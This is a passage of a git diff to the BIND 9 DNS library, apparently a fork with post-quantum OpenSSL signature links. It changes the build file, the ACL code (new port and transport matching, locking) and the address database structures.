-#ifndef MAX_MAX_NCACHE_TTL
-#define MAX_MAX_NCACHE_TTL 7 * 24 * 3600
-#endif /* MAX_MAX_NCACHE_TTL */
-
-ISC_LANG_BEGINDECLS
-
-isc_result_t
-bind9_check_namedconf(const cfg_obj_t *config, bool check_plugins,
-		      isc_log_t *logctx, isc_mem_t *mctx);
-/*%<
- * Check the syntactic validity of a configuration parse tree generated from
- * a named.conf file.
- *
- * If 'check_plugins' is true, load plugins and check the validity of their
- * parameters as well.
- *
- * Requires:
- *\li	config is a valid parse tree
- *
- *\li	logctx is a valid logging context.
- *
- * Returns:
- * \li	#ISC_R_SUCCESS
- * \li	#ISC_R_FAILURE
- */
-
-isc_result_t
-bind9_check_key(const cfg_obj_t *config, isc_log_t *logctx);
-/*%<
- * Same as bind9_check_namedconf(), but for a single 'key' statement.
- */
-
-ISC_LANG_ENDDECLS
-
-#endif /* BIND9_CHECK_H */
diff --git a/lib/dns/.gitignore b/lib/dns/.gitignore
index 66c95ddd79..b41f1dc491 100644
--- a/lib/dns/.gitignore
+++ b/lib/dns/.gitignore
@@ -6,4 +6,5 @@ enumtype.h
 rdatastruct.h
 gen.dSYM
 dnstap.pb-c.c
-dnstap.pb-c.h
\ No newline at end of file
+dnstap.pb-c.h
+/probes.h
diff --git a/lib/dns/Makefile.am b/lib/dns/Makefile.am
index 01db83747c..63338859f8 100644
--- a/lib/dns/Makefile.am
+++ b/lib/dns/Makefile.am
@@ -12,20 +12,19 @@ nodist_libdns_la_SOURCES =		\
 	$(nodist_libdns_la_HEADERS)	\
 	code.h
 
-BUILT_SOURCES =				\
+BUILT_SOURCES +=			\
 	$(nodist_libdns_la_SOURCES)
 
-CLEANFILES =				\
+CLEANFILES +=				\
 	$(nodist_libdns_la_SOURCES)	\
 	gen$(BUILD_EXEEXT)
 
-gen$(BUILD_EXEEXT): gen.c gen.h
-	$(CC_FOR_BUILD) -g -I. $(GEN_NEED_OPTARG) $(srcdir)/gen.c -o $@
+gen$(BUILD_EXEEXT): gen.c
+	$(CC_FOR_BUILD) -g -I. $(srcdir)/gen.c -o $@
 
 EXTRA_DIST =		\
 	dnstap.proto	\
 	gen.c		\
-	gen.h		\
 	rdata/*
 
 include/dns/enumtype.h: gen Makefile
@@ -74,7 +73,6 @@ libdns_la_HEADERS =			\
 	include/dns/dyndb.h		\
 	include/dns/ecs.h		\
 	include/dns/edns.h		\
-	include/dns/events.h		\
 	include/dns/fixedname.h		\
 	include/dns/forward.h		\
 	include/dns/geoip.h		\
@@ -87,14 +85,13 @@ libdns_la_HEADERS =			\
 	include/dns/keymgr.h		\
 	include/dns/keytable.h		\
 	include/dns/keyvalues.h		\
-	include/dns/lib.h		\
 	include/dns/librpz.h		\
-	include/dns/lookup.h		\
 	include/dns/log.h		\
 	include/dns/master.h		\
 	include/dns/masterdump.h	\
 	include/dns/message.h		\
 	include/dns/name.h		\
+	include/dns/nametree.h		\
 	include/dns/ncache.h		\
 	include/dns/nsec.h		\
 	include/dns/nsec3.h		\
@@ -103,6 +100,7 @@ libdns_la_HEADERS =			\
 	include/dns/order.h		\
 	include/dns/peer.h		\
 	include/dns/private.h		\
+	include/dns/qp.h		\
 	include/dns/rbt.h		\
 	include/dns/rcode.h		\
 	include/dns/rdata.h		\
@@ -112,6 +110,7 @@ libdns_la_HEADERS =			\
 	include/dns/rdatasetiter.h	\
 	include/dns/rdataslab.h		\
 	include/dns/rdatatype.h		\
+	include/dns/remote.h		\
 	include/dns/request.h		\
 	include/dns/resolver.h		\
 	include/dns/result.h		\
@@ -119,19 +118,17 @@ libdns_la_HEADERS =			\
 	include/dns/rpz.h		\
 	include/dns/rriterator.h	\
 	include/dns/rrl.h		\
-	include/dns/sdb.h		\
 	include/dns/sdlz.h		\
 	include/dns/secalg.h		\
 	include/dns/secproto.h		\
 	include/dns/soa.h		\
 	include/dns/ssu.h		\
 	include/dns/stats.h		\
-	include/dns/tcpmsg.h		\
 	include/dns/time.h		\
-	include/dns/timer.h		\
+	include/dns/trace.h		\
 	include/dns/transport.h		\
 	include/dns/tkey.h		\
-	include/dns/tsec.h		\
+	include/dns/trace.h		\
 	include/dns/tsig.h		\
 	include/dns/ttl.h		\
 	include/dns/types.h		\
@@ -147,12 +144,16 @@ libdns_la_HEADERS =			\
 dstdir = $(includedir)/dst
 dst_HEADERS =				\
 	include/dst/dst.h		\
-	include/dst/gssapi.h		\
-	include/dst/result.h
+	include/dst/gssapi.h
+
+irsdir = $(includedir)/irs
+irs_HEADERS =				\
+	include/irs/resconf.h
 
 libdns_la_SOURCES =			\
 	$(libdns_la_HEADERS)		\
 	$(dst_HEADERS)			\
+	$(irs_HEADERS)			\
 	acl.c				\
 	adb.c				\
 	badcache.c			\
@@ -160,6 +161,7 @@ libdns_la_SOURCES =			\
 	cache.c				\
 	callbacks.c			\
 	catz.c				\
+	client.c			\
 	clientinfo.c			\
 	compress.c			\
 	db.c				\
@@ -176,8 +178,6 @@ libdns_la_SOURCES =			\
 	dst_openssl.h			\
 	dst_parse.c			\
 	dst_parse.h			\
-	dst_pkcs11.h			\
-	dst_result.c			\
 	dyndb.c				\
 	ecs.c				\
 	fixedname.c			\
@@ -192,24 +192,35 @@ libdns_la_SOURCES =			\
 	keydata.c			\
 	keymgr.c			\
 	keytable.c			\
-	lib.c				\
 	log.c				\
-	lookup.c			\
 	master.c			\
 	masterdump.c			\
 	message.c			\
 	name.c				\
+	nametree.c			\
 	ncache.c			\
 	nsec.c				\
 	nsec3.c				\
 	nta.c				\
 	openssl_link.c			\
-	openssldh_link.c		\
+	openssl_shim.c			\
+	openssl_shim.h			\
+	opensslecdsa_link.c		\
+	openssleddsa_link.c		\
+	opensslrsa_link.c		\
+	opensslfalcon512_link.c         \
+	openssldilithium2_link.c        \
+	opensslsphincs+sha256128s_link.c\
 	order.c				\
 	peer.c				\
 	private.c			\
+	probes.d			\
+	qp.c				\
+	qp_p.h				\
 	rbt.c				\
-	rbtdb.h				\
+	rbt-cachedb.c			\
+	rbt-zonedb.c			\
+	rbtdb_p.h			\
 	rbtdb.c				\
 	rcode.c				\
 	rdata.c				\
@@ -217,61 +228,41 @@ libdns_la_SOURCES =			\
 	rdataset.c			\
 	rdatasetiter.c			\
 	rdataslab.c			\
+	remote.c			\
 	request.c			\
+	resconf.c			\
 	resolver.c			\
 	result.c			\
 	rootns.c			\
 	rpz.c				\
 	rrl.c				\
 	rriterator.c			\
-	sdb.c				\
 	sdlz.c				\
 	soa.c				\
 	ssu.c				\
 	ssu_external.c			\
 	stats.c				\
-	tcpmsg.c			\
 	time.c				\
-	timer.c				\
 	transport.c			\
 	tkey.c				\
-	tsec.c				\
 	tsig.c				\
+	tsig_p.h			\
 	ttl.c				\
 	update.c			\
 	validator.c			\
 	view.c				\
 	xfrin.c				\
 	zone.c				\
+	zone_p.h			\
 	zoneverify.c			\
 	zonekey.c			\
-	zt.c				\
-	client.c			\
-	rdatalist_p.h			\
-	tsig_p.h			\
-	zone_p.h
+	zt.c
 
 if HAVE_GSSAPI
 libdns_la_SOURCES +=			\
 	gssapi_link.c
 endif
 
-if HAVE_PKCS11
-libdns_la_SOURCES +=		\
-	pkcs11.c		\
-	pkcs11ecdsa_link.c	\
-	pkcs11eddsa_link.c	\
-	pkcs11rsa_link.c
-else !HAVE_PKCS11
-libdns_la_SOURCES +=		\
-	opensslecdsa_link.c	\
-	openssleddsa_link.c	\
-	opensslrsa_link.c       \
-	opensslfalcon512_link.c \
-	openssldilithium2_link.c \
-	opensslsphincs+sha256128s_link.c
-endif
-
 if HAVE_GEOIP2
 libdns_la_SOURCES += \
 	geoip2.c
@@ -281,6 +272,7 @@ libdns_la_CPPFLAGS =		\
 	$(AM_CPPFLAGS)		\
 	$(LIBDNS_CFLAGS)	\
 	$(LIBISC_CFLAGS)	\
+	$(LIBURCU_CFLAGS)	\
 	$(LIBUV_CFLAGS)		\
 	$(OPENSSL_CFLAGS)
 
@@ -290,6 +282,7 @@ libdns_la_LDFLAGS =		\
 
 libdns_la_LIBADD =		\
 	$(LIBISC_LIBS)		\
+	$(LIBURCU_LIBS)		\
 	$(LIBUV_LIBS)		\
 	$(OPENSSL_LIBS)
 
@@ -321,7 +314,7 @@ endif
 if HAVE_GEOIP2
 libdns_la_CPPFLAGS +=		\
 	$(MAXMINDDB_CFLAGS)
-libdns_la_LDFLAGS +=		\
+libdns_la_LIBADD +=		\
 	$(MAXMINDDB_LIBS)
 endif
 
@@ -345,6 +338,11 @@ libdns_la_CPPFLAGS += $(LMDB_CFLAGS)
 libdns_la_LIBADD += $(LMDB_LIBS)
 endif
 
-if HAVE_CMOCKA
-SUBDIRS = tests
+if !HAVE_SYSTEMTAP
+DTRACE_DEPS = libdns_la-xfrin.lo
+DTRACE_OBJS = .libs/libdns_la-xfrin.$(OBJEXT)
 endif
+
+include $(top_srcdir)/Makefile.dtrace
+
+libdns_la_LIBADD += $(DTRACE_LIBADD)
diff --git a/lib/dns/acl.c b/lib/dns/acl.c
index 33fcefef0a..8dacc2aa2d 100644
--- a/lib/dns/acl.c
+++ b/lib/dns/acl.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -68,9 +70,11 @@ dns_acl_create(isc_mem_t *mctx, int n, dns_acl_t **target) {
 	 */
 	acl->magic = DNS_ACL_MAGIC;
 
-	acl->elements = isc_mem_get(mctx, n * sizeof(dns_aclelement_t));
+	acl->elements = isc_mem_cget(mctx, n, sizeof(acl->elements[0]));
 	acl->alloc = n;
-	memset(acl->elements, 0, n * sizeof(dns_aclelement_t));
+	ISC_LIST_INIT(acl->ports_and_transports);
+	acl->port_proto_entries = 0;
+
 	*target = acl;
 	return (ISC_R_SUCCESS);
 }
@@ -172,7 +176,7 @@ dns_acl_isnone(dns_acl_t *acl) {
 
 isc_result_t
 dns_acl_match(const isc_netaddr_t *reqaddr, const dns_name_t *reqsigner,
-	      const dns_acl_t *acl, const dns_aclenv_t *env, int *match,
+	      const dns_acl_t *acl, dns_aclenv_t *env, int *match,
 	      const dns_aclelement_t **matchelt) {
 	uint16_t bitlen;
 	isc_prefix_t pfx;
@@ -241,6 +245,54 @@ dns_acl_match(const isc_netaddr_t *reqaddr, const dns_name_t *reqsigner,
 	return (ISC_R_SUCCESS);
 }
 
+isc_result_t
+dns_acl_match_port_transport(const isc_netaddr_t *reqaddr,
+			     const in_port_t local_port,
+			     const isc_nmsocket_type_t transport,
+			     const bool encrypted, const dns_name_t *reqsigner,
+			     const dns_acl_t *acl, dns_aclenv_t *env,
+			     int *match, const dns_aclelement_t **matchelt) {
+	isc_result_t result = ISC_R_SUCCESS;
+	dns_acl_port_transports_t *next;
+
+	REQUIRE(reqaddr != NULL);
+	REQUIRE(DNS_ACL_VALID(acl));
+
+	if (!ISC_LIST_EMPTY(acl->ports_and_transports)) {
+		result = ISC_R_FAILURE;
+		for (next = ISC_LIST_HEAD(acl->ports_and_transports);
+		     next != NULL; next = ISC_LIST_NEXT(next, link))
+		{
+			bool match_port = true;
+			bool match_transport = true;
+
+			if (next->port != 0) {
+				/* Port is specified. */
+				match_port = (local_port == next->port);
+			}
+			if (next->transports != 0) {
+				/* Transport protocol is specified. */
+				match_transport =
+					((transport & next->transports) ==
+						 transport &&
+					 next->encrypted == encrypted);
+			}
+
+			if (match_port && match_transport) {
+				result = next->negative ? ISC_R_FAILURE
+							: ISC_R_SUCCESS;
+				break;
+			}
+		}
+	}
+
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	return (dns_acl_match(reqaddr, reqsigner, acl, env, match, matchelt));
+}
+
 /*
  * Merge the contents of one ACL into another.  Call dns_iptable_merge()
  * for the IP tables, then concatenate the element arrays.
@@ -253,32 +305,19 @@ dns_acl_match(const isc_netaddr_t *reqaddr, const dns_name_t *reqsigner,
 isc_result_t
 dns_acl_merge(dns_acl_t *dest, dns_acl_t *source, bool pos) {
 	isc_result_t result;
-	unsigned int newalloc, nelem, i;
+	unsigned int nelem, i;
 	int max_node = 0, nodes;
 
 	/* Resize the element array if needed. */
 	if (dest->length + source->length > dest->alloc) {
-		void *newmem;
-
-		newalloc = dest->alloc + source->alloc;
+		size_t newalloc = dest->alloc + source->alloc;
 		if (newalloc < 4) {
 			newalloc = 4;
 		}
 
-		newmem = isc_mem_get(dest->mctx,
-				     newalloc * sizeof(dns_aclelement_t));
-
-		/* Zero. */
-		memset(newmem, 0, newalloc * sizeof(dns_aclelement_t));
-
-		/* Copy in the original elements */
-		memmove(newmem, dest->elements,
-			dest->length * sizeof(dns_aclelement_t));
-
-		/* Release the memory for the old elements array */
-		isc_mem_put(dest->mctx, dest->elements,
-			    dest->alloc * sizeof(dns_aclelement_t));
-		dest->elements = newmem;
+		dest->elements = isc_mem_creget(dest->mctx, dest->elements,
+						dest->alloc, newalloc,
+						sizeof(dest->elements[0]));
 		dest->alloc = newalloc;
 	}
 
@@ -347,6 +386,11 @@ dns_acl_merge(dns_acl_t *dest, dns_acl_t *source, bool pos) {
 		dns_acl_node_count(dest) = nodes;
 	}
 
+	/*
+	 * Merge ports and transports
+	 */
+	dns_acl_merge_ports_transports(dest, source, pos);
+
 	return (ISC_R_SUCCESS);
 }
 
@@ -362,7 +406,7 @@ dns_acl_merge(dns_acl_t *dest, dns_acl_t *source, bool pos) {
 
 bool
 dns_aclelement_match(const isc_netaddr_t *reqaddr, const dns_name_t *reqsigner,
-		     const dns_aclelement_t *e, const dns_aclenv_t *env,
+		     const dns_aclelement_t *e, dns_aclenv_t *env,
 		     const dns_aclelement_t **matchelt) {
 	dns_acl_t *inner = NULL;
 	int indirectmatch;
@@ -381,21 +425,33 @@ dns_aclelement_match(const isc_netaddr_t *reqaddr, const dns_name_t *reqsigner,
 		}
 
 	case dns_aclelementtype_nestedacl:
-		inner = e->nestedacl;
+		dns_acl_attach(e->nestedacl, &inner);
 		break;
 
 	case dns_aclelementtype_localhost:
-		if (env == NULL || env->localhost == NULL) {
+		if (env == NULL) {
 			return (false);
 		}
-		inner = env->localhost;
+		RWLOCK(&env->rwlock, isc_rwlocktype_read);
+		if (env->localhost == NULL) {
+			RWUNLOCK(&env->rwlock, isc_rwlocktype_read);
+			return (false);
+		}
+		dns_acl_attach(env->localhost, &inner);
+		RWUNLOCK(&env->rwlock, isc_rwlocktype_read);
 		break;
 
 	case dns_aclelementtype_localnets:
-		if (env == NULL || env->localnets == NULL) {
+		if (env == NULL) {
+			return (false);
+		}
+		RWLOCK(&env->rwlock, isc_rwlocktype_read);
+		if (env->localnets == NULL) {
+			RWUNLOCK(&env->rwlock, isc_rwlocktype_read);
 			return (false);
 		}
-		inner = env->localnets;
+		dns_acl_attach(env->localnets, &inner);
+		RWUNLOCK(&env->rwlock, isc_rwlocktype_read);
 		break;
 
 #if defined(HAVE_GEOIP2)
@@ -406,14 +462,15 @@ dns_aclelement_match(const isc_netaddr_t *reqaddr, const dns_name_t *reqsigner,
 		return (dns_geoip_match(reqaddr, env->geoip, &e->geoip_elem));
 #endif /* if defined(HAVE_GEOIP2) */
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	result = dns_acl_match(reqaddr, reqsigner, inner, env, &indirectmatch,
 			       matchelt);
 	INSIST(result == ISC_R_SUCCESS);
 
+	dns_acl_detach(&inner);
+
 	/*
 	 * Treat negative matches in indirect ACLs as "no match".
 	 * That way, a negated indirect ACL will never become a
@@ -449,6 +506,7 @@ dns_acl_attach(dns_acl_t *source, dns_acl_t **target) {
 static void
 destroy(dns_acl_t *dacl) {
 	unsigned int i;
+	dns_acl_port_transports_t *port_proto;
 
 	INSIST(!ISC_LINK_LINKED(dacl, nextincache));
 
@@ -461,8 +519,8 @@ destroy(dns_acl_t *dacl) {
 		}
 	}
 	if (dacl->elements != NULL) {
-		isc_mem_put(dacl->mctx, dacl->elements,
-			    dacl->alloc * sizeof(dns_aclelement_t));
+		isc_mem_cput(dacl->mctx, dacl->elements, dacl->alloc,
+			     sizeof(dacl->elements[0]));
 	}
 	if (dacl->name != NULL) {
 		isc_mem_free(dacl->mctx, dacl->name);
@@ -470,6 +528,17 @@ destroy(dns_acl_t *dacl) {
 	if (dacl->iptable != NULL) {
 		dns_iptable_detach(&dacl->iptable);
 	}
+
+	port_proto = ISC_LIST_HEAD(dacl->ports_and_transports);
+	while (port_proto != NULL) {
+		dns_acl_port_transports_t *next = NULL;
+
+		next = ISC_LIST_NEXT(port_proto, link);
+		ISC_LIST_DEQUEUE(dacl->ports_and_transports, port_proto, link);
+		isc_mem_put(dacl->mctx, port_proto, sizeof(*port_proto));
+		port_proto = next;
+	}
+
 	isc_refcount_destroy(&dacl->refcount);
 	dacl->magic = 0;
 	isc_mem_putanddetach(&dacl->mctx, dacl, sizeof(*dacl));
@@ -545,8 +614,7 @@ dns_acl_isinsecure(const dns_acl_t *a) {
 	unsigned int i;
 	bool insecure;
 
-	RUNTIME_CHECK(isc_once_do(&insecure_prefix_once, initialize_action) ==
-		      ISC_R_SUCCESS);
+	isc_once_do(&insecure_prefix_once, initialize_action);
 
 	/*
 	 * Walk radix tree to find out if there are any non-negated,
@@ -588,8 +656,7 @@ dns_acl_isinsecure(const dns_acl_t *a) {
 			return (true);
 
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	}
 
@@ -627,10 +694,11 @@ dns_aclenv_create(isc_mem_t *mctx, dns_aclenv_t **envp) {
 
 	isc_mem_attach(mctx, &env->mctx);
 	isc_refcount_init(&env->references, 1);
+	isc_rwlock_init(&env->rwlock);
 
 	result = dns_acl_create(mctx, 0, &env->localhost);
 	if (result != ISC_R_SUCCESS) {
-		goto cleanup_nothing;
+		goto cleanup_rwlock;
 	}
 	result = dns_acl_create(mctx, 0, &env->localnets);
 	if (result != ISC_R_SUCCESS) {
@@ -649,15 +717,31 @@ dns_aclenv_create(isc_mem_t *mctx, dns_aclenv_t **envp) {
 
 cleanup_localhost:
 	dns_acl_detach(&env->localhost);
-cleanup_nothing:
+cleanup_rwlock:
+	isc_rwlock_destroy(&env->rwlock);
+	isc_mem_putanddetach(&env->mctx, env, sizeof(*env));
 	return (result);
 }
 
+void
+dns_aclenv_set(dns_aclenv_t *env, dns_acl_t *localhost, dns_acl_t *localnets) {
+	REQUIRE(VALID_ACLENV(env));
+
+	RWLOCK(&env->rwlock, isc_rwlocktype_write);
+	dns_acl_detach(&env->localhost);
+	dns_acl_attach(localhost, &env->localhost);
+	dns_acl_detach(&env->localnets);
+	dns_acl_attach(localnets, &env->localnets);
+	RWUNLOCK(&env->rwlock, isc_rwlocktype_write);
+}
+
 void
 dns_aclenv_copy(dns_aclenv_t *t, dns_aclenv_t *s) {
 	REQUIRE(VALID_ACLENV(s));
 	REQUIRE(VALID_ACLENV(t));
 
+	RWLOCK(&t->rwlock, isc_rwlocktype_write);
+	RWLOCK(&s->rwlock, isc_rwlocktype_read);
 	dns_acl_detach(&t->localhost);
 	dns_acl_attach(s->localhost, &t->localhost);
 	dns_acl_detach(&t->localnets);
@@ -667,6 +751,9 @@ dns_aclenv_copy(dns_aclenv_t *t, dns_aclenv_t *s) {
 #if defined(HAVE_GEOIP2)
 	t->geoip = s->geoip;
 #endif /* if defined(HAVE_GEOIP2) */
+
+	RWUNLOCK(&s->rwlock, isc_rwlocktype_read);
+	RWUNLOCK(&t->rwlock, isc_rwlocktype_write);
 }
 
 static void
@@ -675,12 +762,10 @@ dns__aclenv_destroy(dns_aclenv_t *aclenv) {
 
 	aclenv->magic = 0;
 
-	if (aclenv->localhost != NULL) {
-		dns_acl_detach(&aclenv->localhost);
-	}
-	if (aclenv->localnets != NULL) {
-		dns_acl_detach(&aclenv->localnets);
-	}
+	isc_refcount_destroy(&aclenv->references);
+	dns_acl_detach(&aclenv->localhost);
+	dns_acl_detach(&aclenv->localnets);
+	isc_rwlock_destroy(&aclenv->rwlock);
 
 	isc_mem_putanddetach(&aclenv->mctx, aclenv, sizeof(*aclenv));
 }
@@ -707,3 +792,57 @@ dns_aclenv_detach(dns_aclenv_t **aclenvp) {
 		dns__aclenv_destroy(aclenv);
 	}
 }
+
+void
+dns_acl_add_port_transports(dns_acl_t *acl, const in_port_t port,
+			    const uint32_t transports, const bool encrypted,
+			    const bool negative) {
+	dns_acl_port_transports_t *port_proto;
+	REQUIRE(DNS_ACL_VALID(acl));
+	REQUIRE(port != 0 || transports != 0);
+
+	port_proto = isc_mem_get(acl->mctx, sizeof(*port_proto));
+	*port_proto = (dns_acl_port_transports_t){ .port = port,
+						   .transports = transports,
+						   .encrypted = encrypted,
+						   .negative = negative };
+
+	ISC_LINK_INIT(port_proto, link);
+
+	ISC_LIST_APPEND(acl->ports_and_transports, port_proto, link);
+	acl->port_proto_entries++;
+}
+
+void
+dns_acl_merge_ports_transports(dns_acl_t *dest, dns_acl_t *source, bool pos) {
+	dns_acl_port_transports_t *next;
+
+	REQUIRE(DNS_ACL_VALID(dest));
+	REQUIRE(DNS_ACL_VALID(source));
+
+	const bool negative = !pos;
+
+	/*
+	 * Merge ports and transports
+	 */
+	for (next = ISC_LIST_HEAD(source->ports_and_transports); next != NULL;
+	     next = ISC_LIST_NEXT(next, link))
+	{
+		const bool next_positive = !next->negative;
+		bool add_negative;
+
+		/*
+		 * Reverse sense of positives if this is a negative acl.  The
+		 * logic is used (and, thus, enforced) by dns_acl_merge(),
+		 * from which dns_acl_merge_ports_transports() is called.
+		 */
+		if (negative && next_positive) {
+			add_negative = true;
+		} else {
+			add_negative = next->negative;
+		}
+
+		dns_acl_add_port_transports(dest, next->port, next->transports,
+					    next->encrypted, add_negative);
+	}
+}
diff --git a/lib/dns/adb.c b/lib/dns/adb.c
index 37cd3dbdcd..fb99b4cf86 100644
--- a/lib/dns/adb.c
+++ b/lib/dns/adb.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,39 +11,37 @@
  * information regarding copyright ownership.
  */
 
-/*! \file
- *
- * \note
- * In finds, if task == NULL, no events will be generated, and no events
- * have been sent.  If task != NULL but taskaction == NULL, an event has been
- * posted but not yet freed.  If neither are NULL, no event was posted.
- *
- */
+/*! \file */
 
 #include <inttypes.h>
 #include <limits.h>
 #include <stdbool.h>
 
-#include <isc/mutexblock.h>
+#include <isc/async.h>
+#include <isc/atomic.h>
+#include <isc/hashmap.h>
+#include <isc/list.h>
+#include <isc/loop.h>
+#include <isc/mutex.h>
 #include <isc/netaddr.h>
-#include <isc/print.h>
 #include <isc/random.h>
+#include <isc/result.h>
+#include <isc/rwlock.h>
 #include <isc/stats.h>
-#include <isc/string.h> /* Required for HP/UX (and others?) */
-#include <isc/task.h>
+#include <isc/string.h>
+#include <isc/tid.h>
 #include <isc/util.h>
 
 #include <dns/adb.h>
 #include <dns/db.h>
-#include <dns/events.h>
 #include <dns/log.h>
 #include <dns/rdata.h>
 #include <dns/rdataset.h>
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
 #include <dns/resolver.h>
-#include <dns/result.h>
 #include <dns/stats.h>
+#include <dns/transport.h>
 
 #define DNS_ADB_MAGIC		 ISC_MAGIC('D', 'a', 'd', 'b')
 #define DNS_ADB_VALID(x)	 ISC_MAGIC_VALID(x, DNS_ADB_MAGIC)
@@ -68,6 +68,10 @@
 #define ADB_CACHE_MAXIMUM 86400 /*%< seconds (86400 = 24 hours) */
 #define ADB_ENTRY_WINDOW  1800	/*%< seconds */
 
+#ifndef ADB_HASH_BITS
+#define ADB_HASH_BITS 12
+#endif /* ifndef ADB_HASH_BITS */
+
 /*%
  * The period in seconds after which an ADB name entry is regarded as stale
  * and forced to be cleaned up.
@@ -77,11 +81,6 @@
 #define ADB_STALE_MARGIN 1800
 #endif /* ifndef ADB_STALE_MARGIN */
 
-#define FREE_ITEMS 64 /*%< free count for memory pools */
-#define FILL_COUNT 16 /*%< fill count for memory pools */
-
-#define DNS_ADB_INVALIDBUCKET (-1) /*%< invalid bucket address */
-
 #define DNS_ADB_MINADBSIZE (1024U * 1024U) /*%< 1 Megabyte */
 
 typedef ISC_LIST(dns_adbname_t) dns_adbnamelist_t;
@@ -97,66 +96,29 @@ struct dns_adb {
 	unsigned int magic;
 
 	isc_mutex_t lock;
-	isc_mutex_t reflock;	 /*%< Covers irefcnt, erefcnt */
-	isc_mutex_t overmemlock; /*%< Covers overmem */
 	isc_mem_t *mctx;
+	isc_mem_t *hmctx;
 	dns_view_t *view;
+	dns_resolver_t *res;
 
-	isc_taskmgr_t *taskmgr;
-	isc_task_t *task;
-	isc_task_t *excl;
+	isc_loopmgr_t *loopmgr;
 
-	isc_interval_t tick_interval;
-	int next_cleanbucket;
+	isc_refcount_t references;
 
-	unsigned int irefcnt;
-	unsigned int erefcnt;
+	dns_adbnamelist_t names_lru;
+	isc_stdtime_t names_last_update;
+	isc_hashmap_t *names;
+	isc_rwlock_t names_lock;
 
-	isc_mutex_t mplock;
-	isc_mempool_t *nmp;  /*%< dns_adbname_t */
-	isc_mempool_t *nhmp; /*%< dns_adbnamehook_t */
-	isc_mempool_t *limp; /*%< dns_adblameinfo_t */
-	isc_mempool_t *emp;  /*%< dns_adbentry_t */
-	isc_mempool_t *ahmp; /*%< dns_adbfind_t */
-	isc_mempool_t *aimp; /*%< dns_adbaddrinfo_t */
-	isc_mempool_t *afmp; /*%< dns_adbfetch_t */
+	dns_adbentrylist_t entries_lru;
+	isc_stdtime_t entries_last_update;
+	isc_hashmap_t *entries;
+	isc_rwlock_t entries_lock;
 
-	/*!
-	 * Bucketized locks and lists for names.
-	 *
-	 * XXXRTH  Have a per-bucket structure that contains all of these?
-	 */
-	unsigned int nnames;
-	isc_mutex_t namescntlock;
-	unsigned int namescnt;
-	dns_adbnamelist_t *names;
-	dns_adbnamelist_t *deadnames;
-	isc_mutex_t *namelocks;
-	bool *name_sd;
-	unsigned int *name_refcnt;
-
-	/*!
-	 * Bucketized locks and lists for entries.
-	 *
-	 * XXXRTH  Have a per-bucket structure that contains all of these?
-	 */
-	unsigned int nentries;
-	isc_mutex_t entriescntlock;
-	unsigned int entriescnt;
-	dns_adbentrylist_t *entries;
-	dns_adbentrylist_t *deadentries;
-	isc_mutex_t *entrylocks;
-	bool *entry_sd; /*%< shutting down */
-	unsigned int *entry_refcnt;
-
-	isc_event_t cevent;
-	bool cevent_out;
-	bool shutting_down;
-	isc_eventlist_t whenshutdown;
-	isc_event_t growentries;
-	bool growentries_sent;
-	isc_event_t grownames;
-	bool grownames_sent;
+	isc_stats_t *stats;
+
+	atomic_bool exiting;
+	atomic_bool is_overmem;
 
 	uint32_t quota;
 	uint32_t atr_freq;
@@ -165,23 +127,40 @@ struct dns_adb {
 	double atr_discount;
 };
 
-/*
- * XXXMLG  Document these structures.
- */
+typedef struct adbnamekey adbnamekey_t;
+struct adbnamekey {
+	size_t size;
+	union {
+		struct {
+			bool start_at_zone;
+			uint8_t name[DNS_NAME_MAXWIRE];
+		};
+		char key[sizeof(bool) + DNS_NAME_MAXWIRE];
+	};
+} __attribute__((__packed__));
 
-/*% dns_adbname structure */
+/*%
+ * dns_adbname structure:
+ *
+ * This is the structure representing a nameserver name; it can be looked
+ * up via the adb->names hash table. It holds references to fetches
+ * for A and AAAA records while they are ongoing (fetch_a, fetch_aaaa), and
+ * lists of records pointing to address information when the fetches are
+ * complete (v4, v6).
+ */
 struct dns_adbname {
 	unsigned int magic;
-	dns_name_t name;
+	isc_refcount_t references;
 	dns_adb_t *adb;
+	isc_buffer_t buffer;
+	adbnamekey_t key;
+	dns_name_t name;
 	unsigned int partial_result;
 	unsigned int flags;
-	int lock_bucket;
 	dns_name_t target;
 	isc_stdtime_t expire_target;
 	isc_stdtime_t expire_v4;
 	isc_stdtime_t expire_v6;
-	unsigned int chains;
 	dns_adbnamehooklist_t v4;
 	dns_adbnamehooklist_t v6;
 	dns_adbfetch_t *fetch_a;
@@ -189,13 +168,30 @@ struct dns_adbname {
 	unsigned int fetch_err;
 	unsigned int fetch6_err;
 	dns_adbfindlist_t finds;
-	/* for LRU-based management */
+	isc_mutex_t lock;
 	isc_stdtime_t last_used;
+	/* for LRU-based management */
 
-	ISC_LINK(dns_adbname_t) plink;
+	ISC_LINK(dns_adbname_t) link;
 };
 
-/*% The adbfetch structure */
+#if DNS_ADB_TRACE
+#define dns_adbname_ref(ptr) dns_adbname__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_adbname_unref(ptr) \
+	dns_adbname__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_adbname_attach(ptr, ptrp) \
+	dns_adbname__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_adbname_detach(ptrp) \
+	dns_adbname__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_adbname);
+#else
+ISC_REFCOUNT_DECL(dns_adbname);
+#endif
+
+/*%
+ * dns_adbfetch structure:
+ * Stores the state for an ongoing A or AAAA fetch.
+ */
 struct dns_adbfetch {
 	unsigned int magic;
 	dns_fetch_t *fetch;
@@ -204,6 +200,8 @@ struct dns_adbfetch {
 };
 
 /*%
+ * dns_adbnamehook structure:
+ *
  * This is a small widget that dangles off a dns_adbname_t.  It contains a
  * pointer to the address information about this host, and a link to the next
